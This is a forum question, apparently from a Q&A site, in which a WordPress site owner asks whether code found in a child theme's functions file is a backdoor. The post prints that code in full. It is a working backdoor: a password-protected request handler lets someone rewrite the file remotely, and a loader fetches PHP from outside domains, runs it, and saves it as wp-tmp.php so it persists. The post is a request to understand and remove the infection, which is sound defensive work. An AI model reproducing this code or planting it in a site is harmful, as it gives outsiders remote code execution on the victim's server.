How to check my Wordpress source is victim of backdoor? - php

Question

Today, I check all my source code. I detect in all source have a strange code.
I don't have experience in this problem. I very confused.
In /wp-content/themes/child-theme/function.php have the code look like:
Does my website have been hacked or have the backdoor in my code?
I using the theme from ThemeForest. Don't use any null theme. I very anxious because of all website in production mode.
Domain: http://www.zanons.xyz/code.php
Can anyone explain this code and consequences, direct impact on the site?
Have any method to resolve my problem? Thanks.
Full strange code:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '5f8bb400922c3661c96af9e12eb821b9')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = #file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = #file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
#file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode'])) {
if (!empty($_REQUEST['newcode'])) {
if ($file = #file_get_contents(__FILE__)) {
if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
#file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if (!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if (fwrite($handle, "<?php\n" . $phpCode)) {
} else {
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key = '08b370e35d008b6591dd40b0eec23025';
if (($tmpcontent = #file_get_contents("http://www.zanons.com/code.php") OR $tmpcontent = #file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
#file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
#file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
#file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = #file_get_contents("http://www.zanons.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
#file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
#file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
#file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = #file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = #file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = #file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = #file_get_contents("http://www.zanons.xyz/code.php") OR $tmpcontent = #file_get_contents_tcurl("http://www.zanons.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>